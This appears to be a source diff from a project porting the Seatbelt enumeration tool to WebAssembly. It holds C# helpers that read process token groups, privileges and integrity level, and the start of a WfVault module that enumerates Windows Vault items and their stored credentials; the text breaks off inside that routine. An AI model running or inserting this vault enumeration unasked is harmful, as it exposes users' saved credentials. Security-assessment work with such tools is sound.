// BYTE IdentifierAuthority[6] (offset 2, big-endian 48-bit)
// DWORD SubAuthority[SubAuthorityCount] (offset 8, little-endian)
// Returns empty on malformed input.
private static string ParseSidBytesToString(byte[] buf, int sidOff, int bufLen)
{
if (buf == null || sidOff < 0 || sidOff + 8 > bufLen) return "";
byte rev = buf[sidOff + 0];
byte subCnt = buf[sidOff + 1];
if (rev != 1 || subCnt > 15) return "";
int needed = 8 + subCnt * 4;
if (sidOff + needed > bufLen) return "";
// IdentifierAuthority is 48-bit big-endian.
ulong idAuth = 0;
for (int j = 0; j < 6; j++)
idAuth = (idAuth << 8) | buf[sidOff + 2 + j];
var sb = new System.Text.StringBuilder("S-1-");
sb.Append(idAuth.ToString());
for (int k = 0; k < subCnt; k++)
{
int subOff = sidOff + 8 + k * 4;
uint sub = (uint)(buf[subOff + 0]
| (buf[subOff + 1] << 8)
| (buf[subOff + 2] << 16)
| (buf[subOff + 3] << 24));
sb.Append('-').Append(sub.ToString());
}
return sb.ToString();
}
// Allocate a zeroed block of host memory (MEM_COMMIT|MEM_RESERVE = 0x3000, PAGE_READWRITE = 4).
// Returns the host address, or 0 on failure.
// Note: callers that pass the returned address back through Invoke() as an arg
// can hit the wasmforge WASM pointer-translation collision when the OS allocates
// a low 32-bit address. The TokenGroups path was migrated to WfHost.HostAlloc
// (handle-based, guaranteed high address) to avoid this. TokenPrivileges still
// uses this path and works because GetTokenInformation tolerates the collision
// for that struct shape (no nested pointer chains to chase post-read).
private static ulong VirtualAllocHost(uint size)
{
uint pAlloc = Resolve("kernel32.dll", ref _kernel32, "VirtualAlloc", ref _hVirtualAlloc);
if (pAlloc == 0) return 0;
return Invoke(pAlloc, 4, 0u, (ulong)size, 0x3000u, 4u);
}
// Release host memory allocated by VirtualAllocHost (MEM_RELEASE = 0x8000).
private static void VirtualFreeHost(ulong addr)
{
if (addr == 0) return;
uint pFree = Resolve("kernel32.dll", ref _kernel32, "VirtualFree", ref _hVirtualFree);
if (pFree != 0) Invoke(pFree, 3, addr, 0u, 0x8000u);
}
// ── Public API ───────────────────────────────────────────────────────────
/// <summary>
/// Returns the SID string and account name for each group in the current process token.
/// Equivalent to WindowsIdentity.GetCurrent().Groups.
/// </summary>
public static List<(string Sid, string Name)> GetGroups()
{
var result = new List<(string, string)>();
try
{
// Resolve all needed procs.
uint pGetCurrentProcess = Resolve("kernel32.dll", ref _kernel32, "GetCurrentProcess", ref _hGetCurrentProcess);
uint pOpenProcessToken = Resolve("advapi32.dll", ref _advapi32, "OpenProcessToken", ref _hOpenProcessToken);
uint pGetTokenInfo = Resolve("advapi32.dll", ref _advapi32, "GetTokenInformation", ref _hGetTokenInformation);
uint pConvSid = Resolve("advapi32.dll", ref _advapi32, "ConvertSidToStringSidW", ref _hConvertSidToStringSidW);
uint pLookupAcct = Resolve("advapi32.dll", ref _advapi32, "LookupAccountSidW", ref _hLookupAccountSidW);
uint pCloseHandle = Resolve("kernel32.dll", ref _kernel32, "CloseHandle", ref _hCloseHandle);
uint pLocalFree = Resolve("kernel32.dll", ref _kernel32, "LocalFree", ref _hLocalFree);
if (pGetCurrentProcess == 0 || pOpenProcessToken == 0 || pGetTokenInfo == 0) return result;
// Get pseudo-handle for current process (returns -1 = 0xFFFFFFFF as uint).
ulong hProcess = Invoke(pGetCurrentProcess, 0);
// OpenProcessToken(hProcess, TOKEN_QUERY=8, &hToken)
ulong hToken = 0;
ulong tokenOk = Invoke(pOpenProcessToken, 3,
hProcess,
8u, // TOKEN_QUERY
(ulong)(uint)(IntPtr)(&hToken));
if (tokenOk == 0 || hToken == 0) return result;
try
{
// First call: get required buffer size.
uint returnedSize = 0;
// GetTokenInformation(hToken, TokenGroups=2, NULL, 0, &returnedSize)
Invoke(pGetTokenInfo, 5,
hToken,
2u, // TokenGroups
0u, 0u,
(ulong)(uint)(IntPtr)(&returnedSize));
if (returnedSize == 0) return result;
if (returnedSize > 65536) returnedSize = 65536;
// Allocate host buffer via WfHost.HostAlloc — returns a handle
// backed by a host-side allocation whose real address is
// guaranteed > wasmMemSize so wf_call's WASM pointer translation
// skips it. This was the root cause of the previous failure:
// VirtualAllocHost returned a low 32-bit address that COLLIDED
// with wf_call's translation threshold, causing GetTokenInformation
// to write to WASM memory instead of the host buffer.
int hostHandle = 0;
ulong hostBuf = 0;
try
{
hostHandle = WfHost.HostAlloc((int)returnedSize);
hostBuf = WfHost.GetHostAddress(hostHandle);
}
catch { return result; }
if (hostHandle == 0 || hostBuf == 0) {
if (hostHandle != 0) WfHost.HostFree(hostHandle);
return result;
}
try
{
uint actualSize = 0;
ulong ok = Invoke(pGetTokenInfo, 5,
hToken,
2u,
hostBuf,
(ulong)returnedSize,
(ulong)(uint)(IntPtr)(&actualSize));
if (ok == 0) return result;
// Read GroupCount (DWORD at offset 0).
uint groupCount = 0;
{
byte[] tmp = new byte[4];
fixed (byte* tp = tmp)
{
CopyHostToWasm(hostBuf, (uint)(IntPtr)tp, 4);
groupCount = (uint)(tmp[0] | (tmp[1] << 8) | (tmp[2] << 16) | (tmp[3] << 24));
}
}
if (groupCount == 0 || groupCount > 4096) return result;
// Canonical x64 TOKEN_GROUPS layout (verified via on-host buffer dump):
// [000]: DWORD GroupCount (4 bytes)
// [004]: padding (4 bytes — alignment to 8 for next PSID)
// [008]: SID_AND_ATTRIBUTES[0]
// PSID Sid (8 bytes, absolute host pointer into same buffer)
// DWORD Attributes (4 bytes)
// padding (4 bytes to align next entry)
// [018]: SID_AND_ATTRIBUTES[1]
// ...
// [0D8]: SID structure for Group[0] (Revision + SubAuthCount + ...)
//
// Earlier failures observed an 8-byte stride with truncated 4-byte PSIDs
// — that was a symptom of allocating the buffer at a low 32-bit address
// which collided with wf_call's WASM pointer translation, causing the
// OS to write the data into WASM memory rather than the host buffer.
// We were then reading garbage/stale memory from the actual host buffer.
// The WfHost.HostAlloc path returns a high-address buffer that wf_call
// skips, so the OS writes the real canonical x64 layout.
const int SID_AND_ATTR_SIZE = 16;
uint arrayBytes = groupCount * SID_AND_ATTR_SIZE;
byte[] entryBuf = new byte[arrayBytes];
fixed (byte* ep = entryBuf)
{
if (!CopyHostToWasm(hostBuf + 8, (uint)(IntPtr)ep, arrayBytes))
return result;
// Read the whole buffer once via HostRead — bypasses the
// CopyHostToWasm path entirely (handle-based, no WASM ptr
// translation issues).
byte[] fullBuf = WfHost.HostRead(hostHandle, 0, (int)actualSize);
for (uint i = 0; i < groupCount; i++)
{
int off = (int)(i * SID_AND_ATTR_SIZE);
ulong psid = Read8(ep, off);
if (psid < hostBuf) continue;
ulong sidOffsetL = psid - hostBuf;
if (sidOffsetL == 0 || sidOffsetL + 8 > actualSize) continue;
int sidOffset = (int)sidOffsetL;
string sidStr = ParseSidBytesToString(fullBuf, (int)sidOffset, (int)actualSize);
if (!string.IsNullOrEmpty(sidStr))
{
// Skip WfSec.SidToAccountName here: the underlying
// ConvertStringSidToSidW P/Invoke gets trim-stripped
// when reached through this call chain, causing a
// WASM unreachable trap (not a catchable exception).
// Name resolution happens lazily downstream via the
// group-name cache + WindowsIdentity.GetCurrent path
// already wired by the patcher. Empty name here matches
// native Seatbelt output for SIDs that don't resolve.
result.Add((sidStr, ""));
}
}
}
}
finally
{
WfHost.HostFree(hostHandle);
}
}
finally
{
if (pCloseHandle != 0 && hToken != 0)
Invoke(pCloseHandle, 1, hToken);
}
}
catch { /* return whatever we have */ }
return result;
}
/// <summary>
/// Drop-in replacement enumerable for WindowsIdentity.GetCurrent().Groups.
/// Yields SecurityIdentifier objects so existing cast patterns still work.
/// Per-SID name resolution is performed eagerly via WfSec.SidToAccountName.
/// Companion: GetGroupNameForSid() returns the cached name.
/// </summary>
private static readonly System.Collections.Generic.Dictionary<string, string> _groupNameCache
= new System.Collections.Generic.Dictionary<string, string>(System.StringComparer.Ordinal);
// GetGroupsAsSids returns SDDL SID strings directly (NOT SecurityIdentifier
// objects). NativeAOT-WASI throws PlatformNotSupportedException for
// `new SecurityIdentifier(sddl)` — "Windows Principal functionality is not
// supported on this platform" — so we can't construct one.
// The patcher rewrites Seatbelt's `(SecurityIdentifier)group` cast to a
// no-op so the existing $"{...}" format string just embeds the SDDL.
public static System.Collections.Generic.IEnumerable<string> GetGroupsAsSids()
{
var groups = GetGroups();
var refs = new System.Collections.Generic.List<string>();
foreach (var g in groups)
{
if (string.IsNullOrEmpty(g.Sid)) continue;
_groupNameCache[g.Sid] = g.Name ?? string.Empty;
refs.Add(g.Sid);
}
return refs;
}
public static string GetGroupNameForSid(string sddlSid)
{
if (string.IsNullOrEmpty(sddlSid)) return string.Empty;
string name;
if (_groupNameCache.TryGetValue(sddlSid, out name) && !string.IsNullOrEmpty(name))
return name;
return ResolveWellKnownSid(sddlSid);
}
/// <summary>
/// Resolves well-known SIDs to their canonical NTAccount-form names.
/// Used by LsaWrapper.ResolveAccountName and WfToken.GetGroupNameForSid
/// as a fallback when sid.Translate(typeof(NTAccount)) throws PNS on
/// NativeAOT-WASI. Covers Seatbelt's UserRightAssignments output set
/// (Local System, Administrators, Authenticated Users, etc.) so
/// "NT AUTHORITY\\SYSTEM"-style names appear instead of raw SDDL.
/// Returns empty string for unknown SIDs — caller falls back to SDDL.
/// </summary>
public static string ResolveWellKnownSid(string sddlSid)
{
if (string.IsNullOrEmpty(sddlSid)) return string.Empty;
switch (sddlSid)
{
// Well-known universal SIDs
case "S-1-0-0": return "NULL SID";
case "S-1-1-0": return "Everyone";
case "S-1-2-0": return "LOCAL";
case "S-1-2-1": return "CONSOLE LOGON";
case "S-1-3-0": return "CREATOR OWNER";
case "S-1-3-1": return "CREATOR GROUP";
case "S-1-3-2": return "CREATOR OWNER SERVER";
case "S-1-3-3": return "CREATOR GROUP SERVER";
case "S-1-3-4": return "OWNER RIGHTS";
// NT Authority (S-1-5-*)
case "S-1-5-1": return "NT AUTHORITY\\DIALUP";
case "S-1-5-2": return "NT AUTHORITY\\NETWORK";
case "S-1-5-3": return "NT AUTHORITY\\BATCH";
case "S-1-5-4": return "NT AUTHORITY\\INTERACTIVE";
case "S-1-5-6": return "NT AUTHORITY\\SERVICE";
case "S-1-5-7": return "NT AUTHORITY\\ANONYMOUS LOGON";
case "S-1-5-8": return "NT AUTHORITY\\PROXY";
case "S-1-5-9": return "NT AUTHORITY\\ENTERPRISE DOMAIN CONTROLLERS";
case "S-1-5-10": return "NT AUTHORITY\\SELF";
case "S-1-5-11": return "NT AUTHORITY\\Authenticated Users";
case "S-1-5-12": return "NT AUTHORITY\\RESTRICTED";
case "S-1-5-13": return "NT AUTHORITY\\TERMINAL SERVER USER";
case "S-1-5-14": return "NT AUTHORITY\\REMOTE INTERACTIVE LOGON";
case "S-1-5-15": return "NT AUTHORITY\\This Organization";
case "S-1-5-17": return "NT AUTHORITY\\IUSR";
case "S-1-5-18": return "NT AUTHORITY\\SYSTEM";
case "S-1-5-19": return "NT AUTHORITY\\LOCAL SERVICE";
case "S-1-5-20": return "NT AUTHORITY\\NETWORK SERVICE";
case "S-1-5-33": return "NT AUTHORITY\\WRITE RESTRICTED";
case "S-1-5-64-10": return "NT AUTHORITY\\NTLM Authentication";
case "S-1-5-64-14": return "NT AUTHORITY\\SChannel Authentication";
case "S-1-5-64-21": return "NT AUTHORITY\\Digest Authentication";
case "S-1-5-113": return "NT AUTHORITY\\Local account";
case "S-1-5-114": return "NT AUTHORITY\\Local account and member of Administrators group";
// BUILTIN aliases (S-1-5-32-*)
case "S-1-5-32-544": return "BUILTIN\\Administrators";
case "S-1-5-32-545": return "BUILTIN\\Users";
case "S-1-5-32-546": return "BUILTIN\\Guests";
case "S-1-5-32-547": return "BUILTIN\\Power Users";
case "S-1-5-32-548": return "BUILTIN\\Account Operators";
case "S-1-5-32-549": return "BUILTIN\\Server Operators";
case "S-1-5-32-550": return "BUILTIN\\Print Operators";
case "S-1-5-32-551": return "BUILTIN\\Backup Operators";
case "S-1-5-32-552": return "BUILTIN\\Replicator";
case "S-1-5-32-554": return "BUILTIN\\Pre-Windows 2000 Compatible Access";
case "S-1-5-32-555": return "BUILTIN\\Remote Desktop Users";
case "S-1-5-32-556": return "BUILTIN\\Network Configuration Operators";
case "S-1-5-32-558": return "BUILTIN\\Performance Monitor Users";
case "S-1-5-32-559": return "BUILTIN\\Performance Log Users";
case "S-1-5-32-560": return "BUILTIN\\Windows Authorization Access Group";
case "S-1-5-32-561": return "BUILTIN\\Terminal Server License Servers";
case "S-1-5-32-562": return "BUILTIN\\Distributed COM Users";
case "S-1-5-32-568": return "BUILTIN\\IIS_IUSRS";
case "S-1-5-32-569": return "BUILTIN\\Cryptographic Operators";
case "S-1-5-32-573": return "BUILTIN\\Event Log Readers";
case "S-1-5-32-574": return "BUILTIN\\Certificate Service DCOM Access";
case "S-1-5-32-575": return "BUILTIN\\RDS Remote Access Servers";
case "S-1-5-32-576": return "BUILTIN\\RDS Endpoint Servers";
case "S-1-5-32-577": return "BUILTIN\\RDS Management Servers";
case "S-1-5-32-578": return "BUILTIN\\Hyper-V Administrators";
case "S-1-5-32-579": return "BUILTIN\\Access Control Assistance Operators";
case "S-1-5-32-580": return "BUILTIN\\Remote Management Users";
// Mandatory integrity labels
case "S-1-16-0": return "Mandatory Label\\Untrusted Mandatory Level";
case "S-1-16-4096": return "Mandatory Label\\Low Mandatory Level";
case "S-1-16-8192": return "Mandatory Label\\Medium Mandatory Level";
case "S-1-16-8448": return "Mandatory Label\\Medium Plus Mandatory Level";
case "S-1-16-12288": return "Mandatory Label\\High Mandatory Level";
case "S-1-16-16384": return "Mandatory Label\\System Mandatory Level";
case "S-1-16-20480": return "Mandatory Label\\Protected Process Mandatory Level";
}
// Logon session SIDs (S-1-5-5-X-Y): canonical form is "NT AUTHORITY\\LogonSessionId_X_Y"
if (sddlSid.StartsWith("S-1-5-5-", System.StringComparison.Ordinal))
{
var parts = sddlSid.Substring("S-1-5-5-".Length).Split('-');
if (parts.Length == 2)
return "NT AUTHORITY\\LogonSessionId_" + parts[0] + "_" + parts[1];
}
return string.Empty;
}
/// <summary>
/// Returns the privilege name and attributes for each privilege in the current process token.
/// Equivalent to WindowsIdentity.GetCurrent().Privileges.
/// </summary>
public static List<(string Name, uint Attributes)> GetPrivileges()
{
var result = new List<(string, uint)>();
try
{
uint pGetCurrentProcess = Resolve("kernel32.dll", ref _kernel32, "GetCurrentProcess", ref _hGetCurrentProcess);
uint pOpenProcessToken = Resolve("advapi32.dll", ref _advapi32, "OpenProcessToken", ref _hOpenProcessToken);
uint pGetTokenInfo = Resolve("advapi32.dll", ref _advapi32, "GetTokenInformation", ref _hGetTokenInformation);
uint pLookupPrivilegeName = Resolve("advapi32.dll", ref _advapi32, "LookupPrivilegeNameW", ref _hLookupPrivilegeNameW);
uint pCloseHandle = Resolve("kernel32.dll", ref _kernel32, "CloseHandle", ref _hCloseHandle);
if (pGetCurrentProcess == 0 || pOpenProcessToken == 0 || pGetTokenInfo == 0) return result;
ulong hProcess = Invoke(pGetCurrentProcess, 0);
ulong hToken = 0;
ulong tokenOk = Invoke(pOpenProcessToken, 3,
hProcess,
8u, // TOKEN_QUERY
(ulong)(uint)(IntPtr)(&hToken));
if (tokenOk == 0 || hToken == 0) return result;
try
{
uint returnedSize = 0;
// GetTokenInformation(hToken, TokenPrivileges=3, NULL, 0, &returnedSize)
Invoke(pGetTokenInfo, 5,
hToken,
3u, // TokenPrivileges
0u, 0u,
(ulong)(uint)(IntPtr)(&returnedSize));
if (returnedSize == 0) return result;
if (returnedSize > 65536) returnedSize = 65536;
ulong hostBuf = VirtualAllocHost(returnedSize);
if (hostBuf == 0) return result;
try
{
uint actualSize = 0;
ulong ok = Invoke(pGetTokenInfo, 5,
hToken,
3u,
hostBuf,
(ulong)returnedSize,
(ulong)(uint)(IntPtr)(&actualSize));
if (ok == 0) return result;
// TOKEN_PRIVILEGES layout (packed, no padding):
// DWORD PrivilegeCount (offset 0)
// LUID_AND_ATTRIBUTES[] (offset 4), each entry 12 bytes:
// DWORD LowPart (offset 0)
// DWORD HighPart (offset 4)
// DWORD Attributes (offset 8)
uint privCount = 0;
{
byte[] tmp = new byte[4];
fixed (byte* tp = tmp)
{
CopyHostToWasm(hostBuf, (uint)(IntPtr)tp, 4);
privCount = (uint)(tmp[0] | (tmp[1] << 8) | (tmp[2] << 16) | (tmp[3] << 24));
}
}
if (privCount == 0 || privCount > 4096) return result;
const int LUID_AND_ATTR_SIZE = 12;
uint arrayBytes = privCount * LUID_AND_ATTR_SIZE;
byte[] entryBuf = new byte[arrayBytes];
fixed (byte* ep = entryBuf)
{
// Array starts at offset 4 (immediately after DWORD PrivilegeCount — packed).
if (!CopyHostToWasm(hostBuf + 4, (uint)(IntPtr)ep, arrayBytes))
return result;
for (uint i = 0; i < privCount; i++)
{
int off = (int)(i * LUID_AND_ATTR_SIZE);
uint luidLow = Read4(ep, off + 0);
uint luidHigh = Read4(ep, off + 4);
uint attrs = Read4(ep, off + 8);
string privName = "";
if (pLookupPrivilegeName != 0)
{
// LookupPrivilegeNameW needs an in-WASM LUID, and an in-WASM name buffer.
// The LUID must be in a fixed local — pass its WASM address.
ulong luidVal = (ulong)luidLow | ((ulong)luidHigh << 32);
byte[] privNameBuf = new byte[128]; // up to 64 UTF-16 chars
uint nameCch = 64;
fixed (byte* pp = privNameBuf)
{
Invoke(pLookupPrivilegeName, 4,
0u, // NULL = local system
(ulong)(uint)(IntPtr)(&luidVal),
(ulong)(uint)(IntPtr)pp,
(ulong)(uint)(IntPtr)(&nameCch));
privName = DecodeUtf16LE(pp, (int)nameCch);
}
}
result.Add((privName, attrs));
}
}
}
finally
{
VirtualFreeHost(hostBuf);
}
}
finally
{
if (pCloseHandle != 0 && hToken != 0)
Invoke(pCloseHandle, 1, hToken);
}
}
catch { /* return whatever we have */ }
return result;
}
// Decode a UTF-16LE byte array (already in WASM linear memory) into a managed string.
private static string DecodeUtf16LE(byte* p, int charCount)
{
if (charCount <= 0) return "";
char[] chars = new char[charCount];
for (int i = 0; i < charCount; i++)
chars[i] = (char)(p[2*i] | (p[2*i+1] << 8));
return new string(chars);
}
/// <summary>
/// Returns the current process token handle as an IntPtr, opened with TOKEN_QUERY.
/// Replaces WindowsIdentity.GetCurrent().Token which throws on NativeAOT-WASI.
/// Callers are responsible for CloseHandle; in Seatbelt TokenPrivilegesCommand
/// the handle is passed to GetTokenInformation via P/Invoke and never explicitly closed.
/// </summary>
public static System.IntPtr GetCurrentTokenHandle()
{
try
{
uint pGetCurrentProcess = Resolve("kernel32.dll", ref _kernel32, "GetCurrentProcess", ref _hGetCurrentProcess);
uint pOpenProcessToken = Resolve("advapi32.dll", ref _advapi32, "OpenProcessToken", ref _hOpenProcessToken);
if (pGetCurrentProcess == 0 || pOpenProcessToken == 0) return System.IntPtr.Zero;
ulong hProcess = Invoke(pGetCurrentProcess, 0);
// TOKEN_QUERY = 0x0008
ulong hTokenOut = 0;
unsafe
{
ulong rc = Invoke(pOpenProcessToken, 3, hProcess, 0x0008u,
(ulong)(uint)(System.IntPtr)(&hTokenOut));
if (rc == 0) return System.IntPtr.Zero;
}
// hTokenOut holds the host-side handle value written by OpenProcessToken.
// Return it as IntPtr for use with GetTokenInformation P/Invoke.
return (System.IntPtr)(long)hTokenOut;
}
catch
{
return System.IntPtr.Zero;
}
}
// ── IsHighIntegrity ─────────────────────────────────────────────
//
// Reads TokenIntegrityLevel (class 25) from the current process token
// and compares the RID of the integrity-level SID against
// SECURITY_MANDATORY_HIGH_RID (0x3000). Uses the same wf_call /
// mod_invoke pattern as the rest of WfToken so no new host APIs are
// needed — advapi32!GetTokenInformation + GetSidSubAuthority + a
// RtlMoveMemory copy to land the RID in WASM linear memory.
public static bool IsHighIntegrity()
{
try
{
System.IntPtr hToken = GetCurrentTokenHandle();
if (hToken == System.IntPtr.Zero) return false;
uint pGetTokenInfo = Resolve("advapi32.dll", ref _advapi32, "GetTokenInformation", ref _hGetTokenInformation);
if (pGetTokenInfo == 0) return false;
const uint TokenIntegrityLevel = 25;
byte[] buf = new byte[64];
uint returnedSize = 0;
ulong rc;
fixed (byte* bPtr = buf)
{
rc = Invoke(pGetTokenInfo, 5,
(ulong)(uint)(long)hToken,
(ulong)TokenIntegrityLevel,
(ulong)(uint)(System.IntPtr)bPtr,
(ulong)(uint)buf.Length,
(ulong)(uint)(System.IntPtr)(&returnedSize));
}
if (rc == 0 || returnedSize < 8) return false;
// TOKEN_MANDATORY_LABEL starts with PSID (8 bytes on x64).
ulong pSid;
fixed (byte* bPtr = buf)
{
pSid = *(ulong*)bPtr;
}
if (pSid == 0) return false;
uint pGetSidSubAuth = Resolve("advapi32.dll", ref _advapi32, "GetSidSubAuthority", ref _hGetSidSubAuthority);
if (pGetSidSubAuth == 0) return false;
// SubAuthority index 0 because mandatory-integrity SIDs only
// have one sub-authority (the RID).
ulong pRid = Invoke(pGetSidSubAuth, 2, pSid, 0UL);
if (pRid == 0) return false;
// pRid is a host pointer; can't deref in WASM linear memory.
// Copy 4 bytes back via RtlMoveMemory.
uint rid = 0;
uint pMove = Resolve("ntdll.dll", ref _ntdll, "RtlMoveMemory", ref _hRtlMoveMemory);
if (pMove == 0) return false;
Invoke(pMove, 3,
(ulong)(uint)(System.IntPtr)(&rid),
pRid,
4UL);
// SECURITY_MANDATORY_HIGH_RID = 0x3000, SYSTEM_RID = 0x4000.
return rid >= 0x3000;
}
catch
{
return false;
}
}
private static uint _hGetSidSubAuthority;
}
// ── WfGroupIdentityReference ────────────────────────────────────────────
//
// Lightweight IdentityReference subclass that wraps a SecurityIdentifier
// AND carries a pre-resolved DOMAIN\User name (from SidToAccountName at
// construction time). The Translate(typeof(NTAccount)) override returns
// a synthetic NTAccount with the stored name, avoiding NativeAOT-WASI
// throws from the real SecurityIdentifier.Translate path.
//
// Used by WfToken.GetGroupsAsIdentityReferences to provide a drop-in
// replacement for WindowsIdentity.GetCurrent().Groups (an
// IdentityReferenceCollection — also IEnumerable<IdentityReference>).
}
+437
View File
@@ -0,0 +1,437 @@
// WfVault.cs — managed helpers for vaultcli.dll (Windows Vault enumeration).
//
// Mirrors the WfNetapi pattern: Resolve→Invoke→CopyHostToWasm against the
// host-side mod_load/mod_resolve/mod_invoke bridge. Reading host-allocated
// VAULT_ITEM_* structs requires copying their bytes into WASM memory first
// (Marshal.PtrToStructure assumes the IntPtr is addressable in the current
// process — false on wasm32, where IntPtr is 4 bytes).
//
// The high-level EnumerateAll() returns parsed entries so the consumer
// (WindowsVaultCommand) can keep its DTO shape without dealing with host
// pointers directly.
using System;
using System.Collections.Generic;
using System.Runtime.InteropServices;
using System.Text;
namespace WasmForge.Helpers
{
public static unsafe class WfVault
{
[DllImport("env", EntryPoint = "mod_load")]
private static extern uint mod_load(uint namePtr);
[DllImport("env", EntryPoint = "mod_resolve")]
private static extern uint mod_resolve(uint libHandle, uint namePtr);
[DllImport("env", EntryPoint = "mod_invoke")]
private static extern ulong mod_invoke(
ulong procHandle, uint nargs,
ulong a0, ulong a1, ulong a2, ulong a3,
ulong a4, ulong a5, ulong a6, ulong a7,
ulong a8, ulong a9, ulong a10, ulong a11,
ulong a12, ulong a13, ulong a14,
ulong ret1Ptr, ulong errPtr);
// ── Cached library + proc handles ───────────────────────────────
private static uint _vaultcli;
private static uint _hEnumerateVaults;
private static uint _hOpenVault;
private static uint _hEnumerateItems;
private static uint _hGetItemWin8;
private static uint _hGetItemWin7;
private static uint _hCloseVault;
private static uint _hVaultFree;
private static uint _ntdll;
private static uint _hRtlMoveMemory;
private static uint _advapi32;
private static uint _hConvertSidToStringSidW;
private static uint _kernel32;
private static uint _hLocalFree;
private static uint Resolve(string dll, ref uint cachedLib, string fn, ref uint cachedProc)
{
if (cachedProc != 0) return cachedProc;
if (cachedLib == 0)
{
byte[] db = Encoding.ASCII.GetBytes(dll + "\0");
fixed (byte* dp = db) cachedLib = mod_load((uint)(IntPtr)dp);
if (cachedLib == 0) return 0;
}
byte[] fb = Encoding.ASCII.GetBytes(fn + "\0");
fixed (byte* fp = fb) cachedProc = mod_resolve(cachedLib, (uint)(IntPtr)fp);
return cachedProc;
}
private static uint Invoke(uint proc, uint nargs,
ulong a0 = 0, ulong a1 = 0, ulong a2 = 0, ulong a3 = 0,
ulong a4 = 0, ulong a5 = 0, ulong a6 = 0, ulong a7 = 0)
{
ulong ret1 = 0, err = 0;
ulong r0 = mod_invoke((ulong)proc, nargs,
a0, a1, a2, a3, a4, a5, a6, a7, 0, 0, 0, 0, 0, 0, 0,
(ulong)(uint)(IntPtr)(&ret1),
(ulong)(uint)(IntPtr)(&err));
return (uint)r0;
}
private static bool CopyHostToWasm(ulong hostAddr, uint wasmPtr, uint len)
{
if (hostAddr == 0 || wasmPtr == 0 || len == 0) return false;
uint pCopy = Resolve("ntdll.dll", ref _ntdll, "RtlMoveMemory", ref _hRtlMoveMemory);
if (pCopy == 0) return false;
Invoke(pCopy, 3, (ulong)wasmPtr, hostAddr, (ulong)len);
return true;
}
private static ulong Read8(byte* p, int off)
{
return ((ulong)p[off+0]) | ((ulong)p[off+1] << 8) |
((ulong)p[off+2] << 16) | ((ulong)p[off+3] << 24) |
((ulong)p[off+4] << 32) | ((ulong)p[off+5] << 40) |
((ulong)p[off+6] << 48) | ((ulong)p[off+7] << 56);
}
private static uint Read4(byte* p, int off)
{
return (uint)(p[off+0] | (p[off+1] << 8) | (p[off+2] << 16) | (p[off+3] << 24));
}
private static string ReadWStringFromHost(ulong hostAddr, int maxChars)
{
if (hostAddr == 0 || maxChars <= 0) return "";
byte[] buf = new byte[maxChars * 2];
fixed (byte* bp = buf)
{
if (!CopyHostToWasm(hostAddr, (uint)(IntPtr)bp, (uint)buf.Length)) return "";
}
int charLen = 0;
for (int i = 0; i < maxChars; i++)
{
if (buf[2*i] == 0 && buf[2*i + 1] == 0) break;
charLen++;
}
if (charLen == 0) return "";
char[] chars = new char[charLen];
for (int i = 0; i < charLen; i++)
chars[i] = (char)(buf[2*i] | (buf[2*i + 1] << 8));
return new string(chars);
}
private static Guid ReadGuidFromHost(ulong hostAddr)
{
if (hostAddr == 0) return Guid.Empty;
byte[] buf = new byte[16];
fixed (byte* bp = buf)
{
if (!CopyHostToWasm(hostAddr, (uint)(IntPtr)bp, 16)) return Guid.Empty;
}
return new Guid(buf);
}
private static Guid ReadGuidInline(byte* p, int off)
{
byte[] g = new byte[16];
for (int i = 0; i < 16; i++) g[i] = p[off + i];
return new Guid(g);
}
// ── Public data types ───────────────────────────────────────────
public class VaultEntryData
{
public Guid SchemaGuid;
public string? Resource;
public string? Identity;
public string? PackageSid;
public string? CredentialString; // when authenticator is a UTF-16 string
public byte[]? CredentialBytes; // when authenticator is a byte array
public DateTime LastModifiedUtc;
}
public class VaultData
{
public Guid VaultGuid;
public List<VaultEntryData> Entries = new List<VaultEntryData>();
}
// ── High-level enumeration ──────────────────────────────────────
public static List<VaultData> EnumerateAll()
{
var results = new List<VaultData>();
uint pEnumV = Resolve("vaultcli.dll", ref _vaultcli, "VaultEnumerateVaults", ref _hEnumerateVaults);
uint pOpen = Resolve("vaultcli.dll", ref _vaultcli, "VaultOpenVault", ref _hOpenVault);
uint pEnumI = Resolve("vaultcli.dll", ref _vaultcli, "VaultEnumerateItems", ref _hEnumerateItems);
uint pClose = Resolve("vaultcli.dll", ref _vaultcli, "VaultCloseVault", ref _hCloseVault);
uint pFree = Resolve("vaultcli.dll", ref _vaultcli, "VaultFree", ref _hVaultFree);
uint pGetW8 = Resolve("vaultcli.dll", ref _vaultcli, "VaultGetItem", ref _hGetItemWin8);
// WIN7 entry point is the same export, just a different arg count
_hGetItemWin7 = _hGetItemWin8;
if (pEnumV == 0 || pOpen == 0 || pEnumI == 0) return results;
bool isWin8 = Environment.OSVersion.Version > new Version("6.2");
int vaultItemSize = isWin8 ? 80 : 72;
// Step 1: enumerate vault GUIDs.
int vaultCount = 0;
ulong vaultGuidArrayHost = 0;
uint rc = Invoke(pEnumV, 3,
0u,
(ulong)(uint)(IntPtr)(&vaultCount),
(ulong)(uint)(IntPtr)(&vaultGuidArrayHost));
if (rc != 0 || vaultCount <= 0 || vaultGuidArrayHost == 0) return results;
if (vaultCount > 64) vaultCount = 64; // sanity cap
// Pull the GUID array into WASM memory.
byte[] guidBuf = new byte[vaultCount * 16];
fixed (byte* gp = guidBuf)
{
if (!CopyHostToWasm(vaultGuidArrayHost, (uint)(IntPtr)gp, (uint)guidBuf.Length))
{
return results;
}
for (int i = 0; i < vaultCount; i++)
{
Guid vaultGuid = ReadGuidInline(gp, i * 16);
var vd = new VaultData { VaultGuid = vaultGuid };
// Step 2: open the vault.
ulong vaultHandle = 0;
Guid gMut = vaultGuid;
uint openRc = Invoke(pOpen, 3,
(ulong)(uint)(IntPtr)(&gMut),
0u,
(ulong)(uint)(IntPtr)(&vaultHandle));
if (openRc != 0 || vaultHandle == 0)
{
results.Add(vd); // empty entries list — same shape as native on open-fail
continue;
}
// Step 3: enumerate items.
int itemCount = 0;
ulong itemArrayHost = 0;
uint itemRc = Invoke(pEnumI, 4,
vaultHandle,
512u, // chunkSize matches original
(ulong)(uint)(IntPtr)(&itemCount),
(ulong)(uint)(IntPtr)(&itemArrayHost));
if (itemRc == 0 && itemCount > 0 && itemArrayHost != 0)
{
if (itemCount > 4096) itemCount = 4096;
ParseVaultItems(vd, vaultHandle, itemArrayHost, itemCount, vaultItemSize, isWin8, pGetW8);
}
if (pClose != 0)
{
ulong vh = vaultHandle;
Invoke(pClose, 1, (ulong)(uint)(IntPtr)(&vh));
}
results.Add(vd);
}
}
// VaultFree takes the buffer pointer directly (PVOID Buffer), not a
// pointer-to-pointer — passing &vg would translate to a stack
// address rather than the host buffer address. Reviewer-caught
